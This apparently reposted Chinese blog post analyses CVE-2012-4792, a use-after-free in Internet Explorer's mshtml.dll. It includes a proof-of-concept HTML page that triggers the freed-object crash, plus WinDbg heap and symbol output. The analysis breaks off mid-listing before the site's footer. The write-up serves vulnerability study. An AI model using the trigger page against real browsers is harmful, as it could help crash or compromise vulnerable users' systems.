漏洞分析之CVE-2012-4792(UAF)

2024-02-03 12:59
文章标签 分析 漏洞 2012 cve uaf 4792

本文主要是介绍漏洞分析之CVE-2012-4792(UAF),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x00 漏洞简介

2012年9月,通用漏洞与披露平台发布了一个存在IE浏览器的UAF漏洞。
报告指出:Microsoft Internet Explorer 6至9版本中的mshtml.dll中的CMshtmlEd::Exec函数中存在释放后使用漏洞。远程攻击者可利用该漏洞通过特制的网站,执行任意代码。

0x01 测试环境

操作系统:Windows XP sp3

浏览器:IE 8.00.6001.18702

漏洞文件:mshtml 8.00.6001.18702

调试器:windbg x86

利用windbg辅助工具设置系统堆栈调试功能

C:\Documents and Settings\Administrator>gflags.exe -I iexplore.exe +hpa +ust
Current Registry Settings for iexplore.exe executable are: 02001000ust - Create user mode stack trace databasehpa - Enable page heap

0x02 漏洞验证

首先给出一段简单的poc验证CVE漏洞

<!doctype html>
<html>
<head>
<script> 
function exploit()
{var e0 = null;var e1 = null;var e2 = null; try {e0 = document.getElementById("a");e1 = document.createElement("div");e2 = document.createElement("q");e1.applyElement(e2);e1.appendChild(document.createElement('button'));e1.applyElement(e0);e2.innerHTML = "";e2.appendChild(document.createElement('body'));} catch(e) { }CollectGarbage(); 
} 
</script> 
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html>

利用windbg attach IE 后 输入g继续运行运行,点击运行阻止的内容
这里写图片描述
这里写图片描述

观察windbg中代码停止的位置
这里写图片描述
结果发现edi(目测是一个申请堆的地址)是无效地址,程序崩溃。
这里应该取对象的虚表时发现地址不可取
这里写图片描述
下面会有调用虚表中的函数操作,那才是我们需要控制程序流的地方。

0x03 漏洞原理

首先我们利用!heap –p –a edi查看堆的相关操作
这里写图片描述

我们从中可以看到,edi已经是释放后的堆了,这里mov eax,dword ptr[edi]
又对释放后的堆,再次使用。

下面有几个关键的问题没有解决:

  1. 什么时候创建的堆
  2. 什么时候释放的堆
  3. 什么时候使用的堆

0x1 堆的创建

为了方便查找堆的创建,在windbg加载IE后查看所有关于CButton的函数
我们可以得到一些有用的信息

0:005> x mshtml!CButton::*
6a28f234 mshtml!CButton::HandleMessage = <no type information>
6a28ee18 mshtml!CButton::s_classdescTagButton = <no type information>
6a28ed83 mshtml!CButton::GetAAtype = <no type information>
6a28f862 mshtml!CButton::GetValueHelper = <no type information>
6a28ef62 mshtml!CButton::GetEnabled = <no type information>
6a28f36a mshtml!CButton::GetThemeState = <no type information>
6a28f75d mshtml!CButton::get_status = <no type information>
6a28ee41 mshtml!CButton::CreateElement = <no type information>//很明显是一个按钮创建的过程
6a28f035 mshtml!CButton::Notify = <no type information>
6a0c4750 mshtml!CButton::s_StringTable = <no type information>
6a28f1e0 mshtml!CButton::GetFocusShape = <no type information>
6a28f8eb mshtml!CButton::SetStatusText = <no type information>
6a28f70d mshtml!CButton::put_status = <no type information>
6a28f128 mshtml!CButton::YieldCurrency = <no type information>
6a0b0d8c mshtml!CButton::GetBtnHelper = <no type information>
6a28ef95 mshtml!CButton::GetBorderInfo = <no type information>
6a28f2f0 mshtml!CButton::ClickAction = <no type information>
6a298d55 mshtml!CButton::createTextRange = <no type information>
6a28f87d mshtml!CButton::SetValueHelper = <no type information>
6a28eda5 mshtml!CButton::GetClassDesc = <no type information>
6a28f3c2 mshtml!CButton::ApplyDefaultFormat = <no type information>
6a28ef0d mshtml!CButton::GetSubmitInfo = <no type information>
6a029d70 mshtml!CButton::s_apfnpdIHTMLButtonElement = <no type information>
6a0ad720 mshtml!CButton::s_acpi = <no type information>
6a0b0338 mshtml!CButton::GetNonThemedBorderInfo = <no type information>
6a28f10b mshtml!CButton::AddCtxInfoToStream = <no type information>
6a0c4740 mshtml!CButton::s_StringTableAggregate = <no type information>
6a28f337 mshtml!CButton::GetThemeProperties = <no type information>
6a28f7a3 mshtml!CButton::GetValue = <no type information>
6a28edf4 mshtml!CButton::s_classdescButtonSubmit = <no type information>
6a28eeb8 mshtml!CButton::Init2 = <no type information>
6a188ee4 mshtml!CButton::s_apHdlDescs = <no type information>
6a188f00 mshtml!CButton::s_ppropdescsInVtblOrderIHTMLButtonElement = <no type information>
6a28ed27 mshtml!CButton::`scalar deleting destructor' = <no type information>//猜测是按钮销毁的过程
6a0c4780 mshtml!CButton::s_AssocVTablePtr = <no type 

这篇关于漏洞分析之CVE-2012-4792(UAF)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/674227

相关文章

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

Redis主从复制的原理分析

《Redis主从复制的原理分析》Redis主从复制通过将数据镜像到多个从节点,实现高可用性和扩展性,主从复制包括初次全量同步和增量同步两个阶段,为优化复制性能,可以采用AOF持久化、调整复制超时时间、... 目录Redis主从复制的原理主从复制概述配置主从复制数据同步过程复制一致性与延迟故障转移机制监控与维

Redis连接失败:客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败:客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re

Redis主从复制实现原理分析

《Redis主从复制实现原理分析》Redis主从复制通过Sync和CommandPropagate阶段实现数据同步,2.8版本后引入Psync指令,根据复制偏移量进行全量或部分同步,优化了数据传输效率... 目录Redis主DodMIK从复制实现原理实现原理Psync: 2.8版本后总结Redis主从复制实

锐捷和腾达哪个好? 两个品牌路由器对比分析

《锐捷和腾达哪个好?两个品牌路由器对比分析》在选择路由器时,Tenda和锐捷都是备受关注的品牌,各自有独特的产品特点和市场定位,选择哪个品牌的路由器更合适,实际上取决于你的具体需求和使用场景,我们从... 在选购路由器时,锐捷和腾达都是市场上备受关注的品牌,但它们的定位和特点却有所不同。锐捷更偏向企业级和专

Spring中Bean有关NullPointerException异常的原因分析

《Spring中Bean有关NullPointerException异常的原因分析》在Spring中使用@Autowired注解注入的bean不能在静态上下文中访问,否则会导致NullPointerE... 目录Spring中Bean有关NullPointerException异常的原因问题描述解决方案总结

python中的与时间相关的模块应用场景分析

《python中的与时间相关的模块应用场景分析》本文介绍了Python中与时间相关的几个重要模块:`time`、`datetime`、`calendar`、`timeit`、`pytz`和`dateu... 目录1. time 模块2. datetime 模块3. calendar 模块4. timeit

python-nmap实现python利用nmap进行扫描分析

《python-nmap实现python利用nmap进行扫描分析》Nmap是一个非常用的网络/端口扫描工具,如果想将nmap集成进你的工具里,可以使用python-nmap这个python库,它提供了... 目录前言python-nmap的基本使用PortScanner扫描PortScannerAsync异

Oracle数据库执行计划的查看与分析技巧

《Oracle数据库执行计划的查看与分析技巧》在Oracle数据库中,执行计划能够帮助我们深入了解SQL语句在数据库内部的执行细节,进而优化查询性能、提升系统效率,执行计划是Oracle数据库优化器为... 目录一、什么是执行计划二、查看执行计划的方法(一)使用 EXPLAIN PLAN 命令(二)通过 S